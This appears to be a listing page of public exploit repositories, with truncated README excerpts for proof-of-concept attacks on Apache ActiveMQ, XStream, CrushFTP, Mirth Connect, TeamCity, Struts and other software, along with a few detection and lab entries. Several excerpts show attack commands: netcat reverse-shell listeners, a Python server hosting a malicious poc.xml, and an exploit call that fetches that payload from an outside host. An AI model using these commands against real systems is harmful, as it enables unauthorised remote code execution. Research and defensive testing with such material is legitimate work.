CVE-2023-46604

CVE-2023-46604 Set up docker-compose containing 2 images: the victim machine and the target machine according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Open an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen fo...

CVE-2022-2414

EN GenXMLExternalEntityExploit is a PoC script for demonstrating an XML External Entity XXE vulnerability exploitation. The script leverages XML payloads to read sensitive files from a target server. This can be useful for security testing, penetration testing, or educational purposes. Features...

CVE-2019-16941

CVE-2019-16941 Proof-of-Concept: The vulnerability requires multiple and relatively improbable conditions in order to get triggered, fact that limits its exploitability. However, it takes little effort and understanding to prepare a payload given the fact that it can result into an arbitrary code...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC e.g package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n...

ShatteredFTP

ShatteredFTP Dual exploiter Overview This exploit script targets vulnerabilities in CrushFTP’s user creation/authentication process, offering dual mode support: CVE-2025-2825 Exploits a flaw in XML payload handling during user creation. Use this when your target’s web interface responds per the...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port of activeMQ. No...

CVE-2026-63077

JetBrains TeamCity における未認証のリモートコード実行 CVE-2026-63077 概要 これは CVE-2026-63077 に対する概念実証エクスプロイトスクリプトです。組織はこのスクリプトを使用して、検知および修復体制を検証できます。 CVE-2026-63077 の完全な技術分析については、Rapid7 Analysis をご覧ください。 使用方法 $ python3 CVE-2026-63077.py --help usage: CVE-2026-63077.py -h --cmd CMD --webroot-relative WEBROOTRELATIVE...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ This exploit builds upon the foundational work available at https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. We have further developed the technique to achieve a reverse shell utilizing the Metasploit Framework...

CVE-2019-19871-AuditGuide

Update 1-22-2020 There is now a tool from FireEye that will help scan these items below. The key to this is that you need to have enough logs to go back to 1-9-2020 to have a chance to see what was done beyond the exploit was ran. If it finds .XML payload files then you need to use the informatio...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC java.net.InetAddress を使用して検出 POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2023-46604

CVE-2023-46604 Build a docker-compose containing 2 images: the victim machine and the target machine, according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Start an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen...

St2-052

S2-052のPOCテスト（旧名：Tomcatへのwarデプロイ） 原文アドレス：http://blog.csdn.net/caiqiiqi/article/details/77861477 struts2の公式サイトから最後に影響を受けるバージョンstruts-2.5.12をダウンロードします。アドレス： http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip...

ppsx-file-generator

はじめに Temesgen Yibeltal [email protected] 著（https://github.com/bhdresh/CVE-2017-8570 のコードに基づく（現在は削除済み）） ppsx-file-generator は、既存のファイルを基に、リモートソースからコードを実行する PowerPoint スライドショーファイルを生成する Python ツールです。 これは何をするものですか？ このツールは、提供された入力に基づいて PowerPoint スライドショーファイルと XML ファイルを生成します。PowerPoint...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ の認証なしリモートコード実行の Python 実装 セットアップとエクスプロイト nc -lvnp 4444 - リスナーを開始 python3 -m http.server 8080 - ペイロードを含む poc.xml をホストする python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - エクスプロイトを開始...

CVE-2023-43208

CVE-2023-43208 Mirth Connect RCE PoC Proof-of-concept Python script targeting CVE-2023-43208 in Mirth Connect. Disclaimer Use only in environments you own or are explicitly authorized to test. This repository is for security research, validation, and defensive testing. The author assumes no...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Lab This repository contains a local lab for studying CVE-2026-34197 in Apache ActiveMQ Classic and for comparing a vulnerable instance against a patched build. The repository is organized to support two goals: Reproduce the issue in a tightly controlled, isolated...

CVE-2021-38647

CVE-2021-38647 This is a POC for CVE-2021-38647 : Send a POST request to /wsman with the content of payload.xml and only change the command with your desired one, AS POC, only id command is executed. Source: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure Follow if you like :...

CVE-2025-31161

CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit 📌 Description This Python exploit targets CrushFTP servers vulnerable to CVE-2025-31161. The vulnerability allows unauthenticated user account creation by sending a crafted XML payload to the WebInterface, potentially resulting...

CVE-2026-79572

An XXE XML External Entity vulnerability in the level-rule module of Distribution Management v1.0.0 allows attackers to read sensitive files, scan internal networks, or launch server attacks via supplying a crafted XML payload...

CVE-2026-79572

The Distribution Management v1.0.0 software contains an XML External Entity (XXE) vulnerability within its level-rule module . Attackers can exploit this flaw by supplying a crafted XML payload to perform unauthorized actions, such as reading sensitive files , scanning internal networks , or laun...